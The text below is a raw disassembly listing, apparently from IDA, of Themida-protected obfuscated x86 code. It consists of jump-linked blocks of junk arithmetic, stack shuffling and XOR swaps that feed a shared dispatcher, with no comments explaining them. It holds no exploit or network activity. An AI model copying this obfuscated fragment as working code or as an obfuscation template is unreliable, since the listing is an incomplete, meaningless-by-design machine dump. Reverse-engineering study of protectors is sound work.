push 26C4h
mov [esp], edi
mov edi, 1B8C7DCAh
mov eax, 5426CC90h
jmp loc_59359E
; ---------------------------------------------------------------------------
loc_592028: ; CODE XREF: Themida_:0059C0B9j
pop ebx
sub al, 0EDh
push 1134h
mov [esp], ebx
mov bh, 63h
jmp loc_598182
; ---------------------------------------------------------------------------
loc_59203A: ; CODE XREF: Themida_:00592464j
not ecx
inc ecx
shr ecx, 7
or ecx, 0B404C2Eh
add ecx, 0FB557BC6h
jmp loc_5A3D69
; ---------------------------------------------------------------------------
loc_592051: ; CODE XREF: Themida_:005A0C3Aj
sub esi, 4BCA60C6h
add eax, esi
mov esi, [esp]
add esp, 4
add eax, edi
sub eax, 21610D82h
pop edi
jmp loc_5997DA
; ---------------------------------------------------------------------------
loc_59206C: ; CODE XREF: Themida_:005A52F7j
push 7A8Dh
mov [esp], ebp
mov ebp, 68366D24h
xor eax, ebp
push dword ptr [esp]
jmp loc_59C993
; ---------------------------------------------------------------------------
loc_592083: ; CODE XREF: Themida_:005A10DCj
mov eax, ecx
pop ecx
add ebx, eax
mov eax, [esp]
add esp, 4
xor ebx, [esp]
jmp loc_598F86
; ---------------------------------------------------------------------------
loc_592096: ; CODE XREF: Themida_:0059698Bj
add eax, 4
jmp loc_5A2ECD
; ---------------------------------------------------------------------------
loc_5920A0: ; CODE XREF: Themida_:005A4ABDj
push 7973h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ebp, [esp]
jmp loc_596990
; ---------------------------------------------------------------------------
loc_5920B5: ; CODE XREF: Themida_:0059E6D7j
push ecx
push eax
mov eax, 7B990A96h
mov ecx, eax
mov eax, [esp]
add esp, 4
not ecx
jmp loc_593220
; ---------------------------------------------------------------------------
loc_5920CB: ; CODE XREF: Themida_:00595EE8j
push ecx
jmp loc_599AA9
; ---------------------------------------------------------------------------
loc_5920D1: ; CODE XREF: Themida_:00596E0Ej
mov esi, ebp
jmp loc_594BAA
; ---------------------------------------------------------------------------
loc_5920D8: ; CODE XREF: Themida_:0059C98Ej
add esi, ecx
jmp loc_5A0AF7
; ---------------------------------------------------------------------------
loc_5920DF: ; CODE XREF: Themida_:00593FE8j
push eax
mov ah, 0Eh
mov dl, ah
pop eax
jmp loc_5A3858
; ---------------------------------------------------------------------------
mov cx, [esp]
push 6BFh
jmp loc_59A998
; ---------------------------------------------------------------------------
loc_5920F8: ; CODE XREF: Themida_:005A0D00j
push ecx
mov cl, 54h
not cl
neg cl
xor cl, 0EAh
add cl, 40h
sub dl, cl
pop ecx
jmp loc_5A40B0
; ---------------------------------------------------------------------------
loc_59210D: ; CODE XREF: Themida_:005921C2j
sub dl, cl
jmp loc_5A4B6D
; ---------------------------------------------------------------------------
loc_592114: ; CODE XREF: Themida_:005A3EBBj
mov edi, [esp]
add esp, 4
jmp loc_59BC4D
; ---------------------------------------------------------------------------
loc_592122: ; CODE XREF: Themida_:005A1EBDj
mov eax, 4
jmp loc_598D36
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_5902C1
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
jmp loc_59FDEC
; ---------------------------------------------------------------------------
loc_59213E: ; CODE XREF: Themida_:005925ABj
mov edi, esp
jmp loc_59A18B
; ---------------------------------------------------------------------------
loc_592145: ; CODE XREF: Themida_:005A175Fj
sub ebp, 4596077Ch
pop esi
add ebp, 7A9B4F41h
add ebp, ebx
sub ebp, 7A9B4F41h
sub ebp, 606E3F50h
pop ebx
xchg ebp, [esp]
mov esp, [esp]
movsx cx, al
push 1D20h
jmp loc_59B3D8
; ---------------------------------------------------------------------------
loc_592175: ; CODE XREF: Themida_:0059AF25j
push dword ptr [esp]
pop ecx
push ebp
mov ebp, esp
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
add ebp, 4
xchg ebp, [esp]
pop esp
push 63D2h
mov [esp], ebx
push eax
mov eax, esi
push eax
jmp loc_59184A
; ---------------------------------------------------------------------------
loc_59219D: ; CODE XREF: Themida_:0059305Dj
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_59AEBB
; ---------------------------------------------------------------------------
loc_5921AE: ; CODE XREF: Themida_:0059CE60j
add bl, 0C1h
jmp loc_59474F
; ---------------------------------------------------------------------------
loc_5921B6: ; CODE XREF: Themida_:005A2AF1j
sub bl, 0AEh
sub cl, bl
pop ebx
xor cl, 0F2h
xor cl, 4Bh
jmp loc_59210D
; ---------------------------------------------------------------------------
loc_5921C7: ; CODE XREF: Themida_:0059D42Aj
mov ebx, [esp]
jmp loc_59EC33
; ---------------------------------------------------------------------------
loc_5921CF: ; CODE XREF: Themida_:0059DF3Dj
pop esp
ror dword ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5921D9: ; CODE XREF: Themida_:00595444j
mov esi, eax
mov eax, [esp]
add esp, 4
jmp loc_5A0C59
; ---------------------------------------------------------------------------
loc_5921E6: ; CODE XREF: Themida_:005A09B2j
or cl, 0BCh
or cl, 0D8h
add cl, 2Eh
add al, cl
pop ecx
pop dx
jmp loc_5980B0
; ---------------------------------------------------------------------------
loc_5921F9: ; CODE XREF: Themida_:00598F22j
pop ebp
jmp loc_5930F2
; ---------------------------------------------------------------------------
loc_5921FF: ; CODE XREF: Themida_:00590F4Aj
push ebp
jmp loc_59540A
; ---------------------------------------------------------------------------
loc_592205: ; CODE XREF: Themida_:00598F30j
sub esi, edx
pop edx
jmp loc_59C858
; ---------------------------------------------------------------------------
loc_59220D: ; CODE XREF: Themida_:005999DBj
push ecx
mov ch, 62h
mov al, ch
mov ecx, [esp]
add esp, 4
shl al, 2
jmp loc_591F11
; ---------------------------------------------------------------------------
loc_592220: ; CODE XREF: Themida_:005960FEj
push eax
mov eax, 36C7B46h
and edi, eax
pop eax
or edi, 5BDF620Ch
xor edi, 4C505DDh
sub esp, 4
jmp loc_5A4A32
; ---------------------------------------------------------------------------
loc_592240: ; CODE XREF: Themida_:00595269j
add ecx, 19B27A0Eh
jmp loc_5A026A
; ---------------------------------------------------------------------------
loc_59224B: ; CODE XREF: Themida_:00592626j
neg ecx
and ecx, 17AA1116h
sub ecx, 512F23BDh
sub ecx, 8C9CAB58h
xor esi, ecx
pop ecx
xor ebx, esi
pop esi
jmp loc_599561
; ---------------------------------------------------------------------------
loc_59226A: ; CODE XREF: Themida_:005A350Fj
add dword ptr [esp], 1A610B31h
pop ebp
sub ebp, 1A610B31h
mov ecx, [esp]
jmp loc_5A0EF0
; ---------------------------------------------------------------------------
loc_592280: ; CODE XREF: Themida_:0059AB42j
not esi
jmp loc_59C329
; ---------------------------------------------------------------------------
loc_592287: ; CODE XREF: Themida_:005955B3j
xchg edx, [esp]
jmp loc_59A53B
; ---------------------------------------------------------------------------
loc_59228F: ; CODE XREF: Themida_:005A3690j
mov [esp], ebx
mov bl, 5Bh
jmp loc_59DE07
; ---------------------------------------------------------------------------
loc_592299: ; CODE XREF: Themida_:00592DAFj
mov ecx, 4
sub eax, ecx
pop ecx
jmp loc_59755E
; ---------------------------------------------------------------------------
loc_5922A6: ; CODE XREF: Themida_:00597B81j
mov dl, 1Eh
and dl, 94h
jmp loc_59DD20
; ---------------------------------------------------------------------------
loc_5922B0: ; CODE XREF: Themida_:0059D09Fj
push edx
mov edx, 790548ACh
jmp loc_59A0B5
; ---------------------------------------------------------------------------
loc_5922BB: ; CODE XREF: Themida_:0059EA15j
push dword ptr [esp]
pop eax
add esp, 4
sub ecx, 2
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_5A5773
; ---------------------------------------------------------------------------
loc_5922E0: ; CODE XREF: Themida_:0059CCB6j
dec ecx
jmp loc_5A0D9C
; ---------------------------------------------------------------------------
loc_5922E6: ; CODE XREF: Themida_:005924ECj
push edi
mov edi, 4
add esi, edi
pop edi
xchg esi, [esp]
pop esp
and eax, edx
push dword ptr [esp]
jmp loc_59383A
; ---------------------------------------------------------------------------
loc_5922FD: ; CODE XREF: Themida_:005A4F6Fj
mov ecx, [esp]
add esp, 4
add ecx, 4EB05B3Eh
jmp loc_595811
; ---------------------------------------------------------------------------
loc_59230E: ; CODE XREF: Themida_:005A1B72j
or eax, eax
jz loc_59F7F0
push esi
sub esp, 4
mov [esp], eax
mov eax, 0FEh
push edx
mov edx, eax
mov esi, edx
pop edx
jmp loc_59D64D
; ---------------------------------------------------------------------------
loc_592330: ; CODE XREF: Themida_:005A2B20j
pop edi
sub edi, edx
mov edx, [esp]
jmp loc_597503
; ---------------------------------------------------------------------------
loc_59233B: ; CODE XREF: Themida_:00594E43j
mov [esp], edi
jmp loc_59077C
; ---------------------------------------------------------------------------
loc_592343: ; CODE XREF: Themida_:00597643j
mov [esp], esi
jmp loc_59FCE0
; ---------------------------------------------------------------------------
loc_59234B: ; CODE XREF: Themida_:0059BE48j
add ebp, edi
push dword ptr [esp]
pop edi
add esp, 4
push 32FDh
mov [esp], edi
push 2FD8h
jmp loc_591928
; ---------------------------------------------------------------------------
loc_592366: ; CODE XREF: Themida_:0059F8A6j
pop edi
sub ebp, 6B271D9Ch
sub ebp, eax
push 5806h
mov [esp], eax
jmp loc_5A132E
; ---------------------------------------------------------------------------
loc_59237C: ; CODE XREF: Themida_:005A1BEFj
shl eax, 3
jmp loc_595BE7
; ---------------------------------------------------------------------------
loc_592384: ; CODE XREF: Themida_:005A23C2j
inc edi
shr edi, 8
or edi, 548836E0h
not edi
push ebp
mov ebp, 0FFFFFFFFh
jmp loc_59F890
; ---------------------------------------------------------------------------
loc_59239B: ; CODE XREF: Themida_:005A0F34j
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_5A3B37
; ---------------------------------------------------------------------------
loc_5923AC: ; CODE XREF: Themida_:005978BFj
mov eax, [esp]
add esp, 4
jmp loc_5979B4
; ---------------------------------------------------------------------------
loc_5923BA: ; CODE XREF: Themida_:005A4E03j
neg eax
shl eax, 8
add eax, 44092804h
jmp loc_5991C2
; ---------------------------------------------------------------------------
loc_5923C9: ; CODE XREF: Themida_:0059A04Fj
mov [esp], edi
mov edi, 21781486h
mov ebx, 4FA91453h
xor ebx, edi
pop edi
add ebx, 0F924A53h
add eax, ebx
pop ebx
jmp loc_591671
; ---------------------------------------------------------------------------
loc_5923E7: ; CODE XREF: Themida_:0059B60Fj
push ecx
push ebp
mov ebp, 60E4473Dh
jmp loc_59CF04
; ---------------------------------------------------------------------------
loc_5923F3: ; CODE XREF: Themida_:00590EF9j
xor esi, [esp]
mov esp, [esp]
jmp loc_5A04D2
; ---------------------------------------------------------------------------
loc_5923FE: ; CODE XREF: Themida_:005A21B2j
add ebp, 9A67F684h
sub esi, ebp
pop ebp
push esi
jmp loc_59A2B1
; ---------------------------------------------------------------------------
loc_59240D: ; CODE XREF: Themida_:00590482j
or ebx, edx
pop edx
sub ebx, 8167826h
mov ebp, ebx
pop ebx
and ecx, ebp
mov ebp, [esp]
push ebx
jmp loc_59D0F0
; ---------------------------------------------------------------------------
loc_592424: ; CODE XREF: Themida_:0059ACACj
pop eax
pop ecx
push 3AB4h
mov [esp], eax
mov ah, bh
mov dl, ah
jmp loc_5A514C
; ---------------------------------------------------------------------------
loc_592437: ; CODE XREF: Themida_:0059C72Ej
push ecx
jmp loc_5912DA
; ---------------------------------------------------------------------------
loc_59243D: ; CODE XREF: Themida_:005963D7j
pop esi
sub esp, 4
mov [esp], ebp
mov ebp, 3B7C34BDh
shl ebp, 4
sub ebp, 1
add ebp, 51EA560Dh
push ecx
mov ecx, 29353092h
shr ecx, 4
jmp loc_59203A
; ---------------------------------------------------------------------------
loc_592469: ; CODE XREF: Themida_:005A0024j
push ebx
mov ebx, 5C9943AAh
xor edx, ebx
pop ebx
jmp loc_59BCC2
; ---------------------------------------------------------------------------
loc_592477: ; CODE XREF: Themida_:005A0795j
add esp, 4
jmp loc_5A2F85
; ---------------------------------------------------------------------------
loc_592482: ; CODE XREF: Themida_:00593BA7j
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_59C114
; ---------------------------------------------------------------------------
loc_59248E: ; CODE XREF: Themida_:0059EB56j
add esp, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_594A06
; ---------------------------------------------------------------------------
loc_59249F: ; CODE XREF: Themida_:0059A2FAj
add ebp, ecx
pop ecx
add ebp, 4
xchg ebp, [esp]
pop esp
add esp, 4
bswap eax
jmp loc_59FC3F
; ---------------------------------------------------------------------------
loc_5924B3: ; CODE XREF: Themida_:0059ECFDj
sub esp, 4
jmp loc_59E248
; ---------------------------------------------------------------------------
loc_5924BE: ; CODE XREF: Themida_:005A2BD9j
mov edx, 108B6B00h
xor edx, 108B6B02h
jmp loc_59469E
; ---------------------------------------------------------------------------
loc_5924CE: ; CODE XREF: Themida_:00594258j
xor eax, edi
pop edi
mov esi, eax
pop eax
mov edx, 0F604E70Fh
add edx, esi
mov esi, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_5922E6
; ---------------------------------------------------------------------------
loc_5924F1: ; CODE XREF: Themida_:005A2747j
add al, 0DFh
push edx
mov dl, 36h
or dl, 0B1h
add dl, 0E5h
shr dl, 1
jmp loc_592888
; ---------------------------------------------------------------------------
loc_592503: ; CODE XREF: Themida_:00599803j
xor al, 0AAh
add cl, al
pop eax
jmp loc_5A10FA
; ---------------------------------------------------------------------------
loc_59250D: ; CODE XREF: Themida_:00593374j
xor eax, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_59B693
; ---------------------------------------------------------------------------
loc_59251B: ; CODE XREF: Themida_:0059C024j
sub esp, 4
mov [esp], ebp
jmp loc_59C574
; ---------------------------------------------------------------------------
loc_592529: ; CODE XREF: Themida_:00593256j
add esi, edx
jmp loc_5A0CD8
; ---------------------------------------------------------------------------
loc_592530: ; CODE XREF: Themida_:0059F503j
not ebx
xchg ebx, ebp
push ecx
jmp loc_593FB5
; ---------------------------------------------------------------------------
loc_59253A: ; CODE XREF: Themida_:00595985j
add esp, 4
jmp loc_5A4B8D
; ---------------------------------------------------------------------------
loc_592542: ; CODE XREF: Themida_:005A114Cj
pop esp
mov [esp], ebx
jmp loc_5996F0
; ---------------------------------------------------------------------------
loc_59254B: ; CODE XREF: Themida_:005926BCj
or ebp, 68AC17D0h
push 0
add dword ptr [esp], 758F242Ch
sub [esp], ebp
sub dword ptr [esp], 758F242Ch
pop ebp
sub ebp, 0EC1FD93Eh
sub esi, ebp
pop ebp
mov ecx, [esp]
jmp loc_59D368
; ---------------------------------------------------------------------------
loc_592579: ; CODE XREF: Themida_:00599AE9j
sub ebp, 69241F3Dh
sub ebp, 2DE28A00h
mov esi, ebp
pop ebp
jmp loc_594CF9
; ---------------------------------------------------------------------------
loc_59258D: ; CODE XREF: Themida_:0059A650j
add ebx, 0FFFFFFFFh
jmp loc_5A4D27
; ---------------------------------------------------------------------------
loc_592595: ; CODE XREF: Themida_:0059A1C7j
not eax
xor edx, eax
xor eax, edx
xor edx, eax
xor [esp], edx
xor edx, [esp]
xor [esp], edx
push dword ptr [esp]
pop eax
push edi
jmp loc_59213E
; ---------------------------------------------------------------------------
loc_5925B0: ; CODE XREF: Themida_:005A2092j
add esp, 4
jmp loc_5A338A
; ---------------------------------------------------------------------------
loc_5925BB: ; CODE XREF: Themida_:0059D766j
push edi
mov edi, 29456D56h
jmp loc_5A32A5
; ---------------------------------------------------------------------------
loc_5925C6: ; CODE XREF: Themida_:005A3CECj
xchg ebp, [esp]
pop esp
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5994CA
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], ebp
mov ebp, 0B01268Eh
neg ebp
add ebp, 85A94153h
shr ebp, 8
push eax
sub esp, 4
mov [esp], ebx
push 527872B5h
pop ebx
jmp loc_5A4798
; ---------------------------------------------------------------------------
loc_592604: ; CODE XREF: Themida_:00599D93j
sub eax, 26C60519h
xor esi, eax
pop eax
sub eax, esi
pop esi
push ebx
push 7042h
jmp loc_590B79
; ---------------------------------------------------------------------------
loc_59261A: ; CODE XREF: Themida_:00599439j
push edx
jmp loc_5A4DD6
; ---------------------------------------------------------------------------
loc_592620: ; CODE XREF: Themida_:005A412Aj
and ecx, 3E2C34D1h
jmp loc_59224B
; ---------------------------------------------------------------------------
loc_59262B: ; CODE XREF: Themida_:0059AF70j
mov ebx, 82F454C3h
sub ebx, edi
pop edi
mov eax, ebx
pop ebx
add ecx, 5A371903h
sub ecx, eax
push esi
jmp loc_593305
; ---------------------------------------------------------------------------
loc_592644: ; CODE XREF: Themida_:0059F0F8j
pop esi
jmp loc_5944A1
; ---------------------------------------------------------------------------
loc_59264A: ; CODE XREF: Themida_:0059BEE7j
push esp
pop edi
push esi
mov esi, 9B11902h
push eax
mov eax, 41CD19FDh
and eax, 3EF046D8h
add eax, 200C0EC6h
or eax, 26175054h
shl eax, 7
jmp loc_590EFE
; ---------------------------------------------------------------------------
loc_59266F: ; CODE XREF: Themida_:005A503Dj
push edi
mov edi, 16ED16A1h
add edi, 586367E8h
or edi, 0BE00E96h
sub edi, 6FF07E9Bh
mov ebp, edi
pop edi
add edi, ebp
pop ebp
sub edi, 4
xor edi, [esp]
jmp loc_594C63
; ---------------------------------------------------------------------------
loc_592698: ; CODE XREF: Themida_:005967C0j
pop edi
add esi, 15234EEBh
sub esi, ecx
sub esp, 4
mov [esp], ebp
mov ebp, 3AB7427Ah
dec ebp
or ebp, 653F21A6h
add ebp, 1E795E98h
jmp loc_59254B
; ---------------------------------------------------------------------------
loc_5926C1: ; CODE XREF: Themida_:00598DA6j
mov ebp, 4
jmp loc_5A38F0
; ---------------------------------------------------------------------------
lodsb
jmp loc_5A3FF6
; ---------------------------------------------------------------------------
loc_5926D1: ; CODE XREF: Themida_:00599142j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5926E8: ; CODE XREF: Themida_:0059158Fj
pop ecx
push ebx
push ecx
jmp loc_59EFE4
; ---------------------------------------------------------------------------
loc_5926F0: ; CODE XREF: Themida_:0059D13Fj
add eax, 68CD73EAh
sub eax, 4E056A57h
pop edx
xchg eax, [esp]
pop esp
push edi
push 4
pop edi
add eax, 5E475687h
sub eax, 37677944h
add eax, edi
add eax, 37677944h
jmp loc_59702F
; ---------------------------------------------------------------------------
loc_59271C: ; CODE XREF: Themida_:00597552j
mov ecx, 2
mov ebx, ecx
pop ecx
sub esp, 4
mov [esp], ebp
mov ebp, 4A235F8Ch
sub ebp, 2CB003FAh
sub ebp, 37F91E15h
push ecx
mov ecx, 651D09EFh
jmp loc_59B9A1
; ---------------------------------------------------------------------------
loc_592749: ; CODE XREF: Themida_:005A4E5Fj
mov eax, 1F8602A5h
add eax, 3A9773FCh
push esi
push ebp
push eax
mov eax, 4822B9h
xor eax, 27CD4FA8h
jmp loc_5A2BB8
; ---------------------------------------------------------------------------
lodsd
sub eax, 3C6D4A79h
sub eax, ebx
push 4945h
mov [esp], ebx
mov ebx, 54DE75F9h
shr ebx, 6
or ebx, 337E52F4h
dec ebx
jmp loc_5A4567
; ---------------------------------------------------------------------------
loc_592789: ; CODE XREF: Themida_:0059B23Cj
push ebx
jmp loc_5947FD
; ---------------------------------------------------------------------------
loc_59278F: ; CODE XREF: Themida_:0059FD87j
inc eax
jmp loc_59A655
; ---------------------------------------------------------------------------
loc_592795: ; CODE XREF: Themida_:0059B785j
push edx
mov edx, 4BD85AB9h
shr edx, 2
sub edx, 8F2141Eh
dec edx
not edx
and edx, 72AF0EBEh
sub edx, 49D51DFBh
xor edx, 3B69C467h
add ebp, edx
pop edx
add ebp, 67457446h
pop ebx
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_5A43D3
; ---------------------------------------------------------------------------
loc_5927D9: ; CODE XREF: Themida_:0059D0CFj
mov esi, [esp]
add esp, 4
pop esi
jmp loc_598875
; ---------------------------------------------------------------------------
loc_5927E5: ; CODE XREF: Themida_:00593D21j
pop ecx
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
jmp loc_59389B
; ---------------------------------------------------------------------------
loc_5927FC: ; CODE XREF: Themida_:00593920j
inc ebp
push edx
mov edx, 58854538h
xor ebp, edx
pop edx
push eax
mov eax, 400133h
or eax, 40CF4397h
and eax, 51404F58h
sub eax, 48BA30B3h
add eax, 7F4B402Ch
shl eax, 5
sub eax, 5CA7502Eh
xor ebp, eax
pop eax
xor edx, ebp
jmp loc_5A36B8
; ---------------------------------------------------------------------------
loc_592832: ; CODE XREF: Themida_:005A23EFj
or dl, cl
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
inc dl
jmp loc_59E17C
; ---------------------------------------------------------------------------
loc_59284F: ; CODE XREF: Themida_:0059FA24j
mov esi, 7AA86E54h
shr esi, 4
push eax
mov eax, 62CE08DDh
neg eax
xor eax, 45A51375h
push eax
jmp loc_59380C
; ---------------------------------------------------------------------------
loc_59286A: ; CODE XREF: Themida_:00599863j
sub eax, esi
add eax, 14390990h
jmp loc_5A279B
; ---------------------------------------------------------------------------
loc_592876: ; CODE XREF: Themida_:0059A3B6j
mov [esp], edx
mov edx, 4
add edi, edx
push dword ptr [esp]
jmp loc_5993DC
; ---------------------------------------------------------------------------
loc_592888: ; CODE XREF: Themida_:005924FEj
neg dl
neg dl
add dl, 0F6h
sub al, dl
pop edx
push edx
sub esp, 4
mov [esp], ebx
mov bh, 2Eh
mov dl, bh
jmp loc_59BDA2
; ---------------------------------------------------------------------------
loc_5928A5: ; CODE XREF: Themida_:005999FAj
push dword ptr [esp]
pop ecx
add esp, 4
add al, bh
mov ebx, [esp]
add esp, 4
xor bl, al
movzx eax, al
lea eax, [edi+eax*4]
sub esp, 4
mov [esp], edx
jmp loc_596B7C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5928DC: ; CODE XREF: Themida_:005A0D12j
mov ecx, [esp]
push ecx
mov ecx, esp
push ebx
mov ebx, 8AD3449h
add ebx, 0F752CBBBh
add ecx, ebx
pop ebx
add ecx, 4
jmp loc_5A019A
; ---------------------------------------------------------------------------
loc_5928F9: ; CODE XREF: Themida_:005A4A2Dj
mov ebp, 2C285C91h
sub ebp, 744838F1h
xor ebp, 0E9BC132Dh
push 706Dh
mov [esp], edi
mov edi, 2E4A20EAh
sub edi, 78C93545h
not edi
neg edi
not edi
sub edi, 0FFFFFFFFh
jmp loc_590A26
; ---------------------------------------------------------------------------
loc_59292E: ; CODE XREF: Themida_:005A1260j
pop ebp
sub edi, 259572DFh
jmp loc_59BE9D
; ---------------------------------------------------------------------------
loc_59293A: ; CODE XREF: Themida_:00596999j
push 670Bh
jmp loc_5A10E1
; ---------------------------------------------------------------------------
loc_592944: ; CODE XREF: Themida_:005A419Cj
mov eax, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
push dword ptr [edi+eax*4]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push 4EF9h
mov [esp], edi
mov edi, esp
add edi, 4
push 57F6h
mov [esp], esi
mov esi, 4
add edi, esi
mov esi, [esp]
add esp, 4
xchg edi, [esp]
jmp loc_59B78A
; ---------------------------------------------------------------------------
loc_592987: ; CODE XREF: Themida_:00596926j
add dword ptr [esp], 6EAD55BDh
pop ebx
push edx
mov edx, 83A1341h
not edx
jmp loc_5A2027
; ---------------------------------------------------------------------------
loc_59299C: ; CODE XREF: Themida_:0059DFBEj
mov dl, 1Eh
mov ch, 93h
sub ch, 8Ch
sub ch, dl
add ch, 8Ch
jmp loc_59BA4F
; ---------------------------------------------------------------------------
loc_5929AD: ; CODE XREF: Themida_:0059AD07j
neg ebx
jmp loc_5A2444
; ---------------------------------------------------------------------------
loc_5929B4: ; CODE XREF: Themida_:00598BC0j
add dword ptr [esp+4], 8BD6143h
add dword ptr [esp+4], 5BC04BC6h
add [esp+4], eax
sub dword ptr [esp+4], 5BC04BC6h
sub dword ptr [esp+4], 8BD6143h
pop eax
pop edi
jmp loc_59427F
; ---------------------------------------------------------------------------
loc_5929DF: ; CODE XREF: Themida_:0059ED81j
sub dword ptr [esp], 1DA60B89h
jmp loc_5931C8
; ---------------------------------------------------------------------------
loc_5929EB: ; CODE XREF: Themida_:005951A9j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5929F0: ; CODE XREF: Themida_:0059DDE3j
or ebp, 5AA219C9h
add ebp, 0A001A207h
add ecx, ebp
pop ebp
push 6035h
mov [esp], esi
jmp loc_59385A
; ---------------------------------------------------------------------------
loc_592A0C: ; CODE XREF: Themida_:0059BAA3j
push 25FFh
mov [esp], esp
add dword ptr [esp], 4
jmp loc_59F875
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
sub esp, 4
jmp loc_595BF6
; ---------------------------------------------------------------------------
loc_592A2E: ; CODE XREF: Themida_:0059AFA3j
add edi, edx
jmp loc_59A945
; ---------------------------------------------------------------------------
loc_592A35: ; CODE XREF: Themida_:005A27F8j
neg ebp
xor ebp, 46837BC9h
push ecx
mov ecx, 65634CDCh
add ebp, ecx
jmp loc_5A4F08
; ---------------------------------------------------------------------------
loc_592A4A: ; CODE XREF: Themida_:0059ADD8j
mov [esp], ax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_592A53: ; CODE XREF: Themida_:0059F2EEj
push dword ptr [esp]
pop eax
jmp loc_59E370
; ---------------------------------------------------------------------------
loc_592A5C: ; CODE XREF: Themida_:005A1C7Fj
mov ebp, 1CBD4731h
mov edx, 3170DC34h
add edx, ebp
mov ebp, [esp]
add esp, 4
push 4372h
mov [esp], edx
not dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_594476
; ---------------------------------------------------------------------------
loc_592A8A: ; CODE XREF: Themida_:005913A8j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_592A8F: ; CODE XREF: Themida_:0059FBFFj
sub eax, 1E220A3Dh
jmp loc_5A4153
; ---------------------------------------------------------------------------
loc_592A99: ; CODE XREF: Themida_:0059BFADj
mov [esp], ebp
mov ebp, 0A0C90F96h
xor esi, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
add eax, 74ED4C2Bh
sub eax, esi
sub eax, 74ED4C2Bh
push dword ptr [esp]
mov esi, [esp]
add esp, 4
jmp loc_594EAF
; ---------------------------------------------------------------------------
loc_592AC9: ; CODE XREF: Themida_:00595F47j
push edi
mov edi, 0EAD4D2Ch
sub [esp+4], edi
pop edi
pop ecx
push 30h
mov [esp], edx
mov edx, 0EAD4D2Ch
jmp loc_5A0D0D
; ---------------------------------------------------------------------------
loc_592AE7: ; CODE XREF: Themida_:0059524Cj
pop ebp
add esi, ecx
mov ecx, [esp]
add esp, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_595452
; ---------------------------------------------------------------------------
loc_592B05: ; CODE XREF: Themida_:0059DFEDj
mov [esp], edi
mov edi, 4B381DFFh
not edi
push 72D1h
mov [esp], eax
mov eax, 4B816EDh
add edi, 50CF76B3h
sub edi, eax
sub edi, 50CF76B3h
pop eax
add edi, 3CC661FCh
jmp loc_590935
; ---------------------------------------------------------------------------
loc_592B36: ; CODE XREF: Themida_:0059DBD8j
push ebx
push esp
pop ebx
jmp loc_59EC41
; ---------------------------------------------------------------------------
loc_592B3E: ; CODE XREF: Themida_:005A572Bj
popf
jmp locret_59A140
; ---------------------------------------------------------------------------
loc_592B44: ; CODE XREF: Themida_:0059F7D4j
pop esi
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
push 34A4h
mov [esp], esi
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push dword ptr [esp]
jmp loc_590A59
; ---------------------------------------------------------------------------
loc_592B6B: ; CODE XREF: Themida_:005911B5j
add esp, 4
sub esi, 71744E75h
add esi, edi
add esi, 71744E75h
sub esi, 28E91037h
jmp loc_598D0D
; ---------------------------------------------------------------------------
loc_592B8A: ; CODE XREF: Themida_:005A1779j
mov eax, [esp]
add esp, 4
pop eax
push ebp
jmp loc_5988E0
; ---------------------------------------------------------------------------
loc_592B97: ; CODE XREF: Themida_:00593A2Fj
push esi
mov esi, 4AA34925h
mov ebp, 2A8F249Dh
sub ebp, 5CBB6628h
add ebp, esi
add ebp, 5CBB6628h
pop esi
sub ebp, 5470F73h
dec ebp
push ecx
mov ecx, 6FEB5E4Ah
xor ebp, ecx
pop ecx
add eax, ebp
jmp loc_5A1FEE
; ---------------------------------------------------------------------------
loc_592BC8: ; CODE XREF: Themida_:005904EBj
mov esp, [esp]
add esp, 4
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
loc_592BE1: ; CODE XREF: Themida_:0059F62Cj
; Themida_:005A0536j
sub esp, 4
mov [esp], ebx
push ebp
jmp loc_5A2C6F
; ---------------------------------------------------------------------------
loc_592BED: ; CODE XREF: Themida_:005A14F6j
push dword ptr [esp]
pop ebx
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5A3DA9
; ---------------------------------------------------------------------------
loc_592C09: ; CODE XREF: Themida_:005998ECj
mov ebx, 2B140E2Fh
dec ebx
jmp loc_594056
; ---------------------------------------------------------------------------
loc_592C14: ; CODE XREF: Themida_:005A398Bj
neg edx
not edx
or edx, 62D84DDCh
not edx
push eax
mov eax, 303E2D9Ah
and eax, 6D7544CAh
neg eax
jmp loc_5A3018
; ---------------------------------------------------------------------------
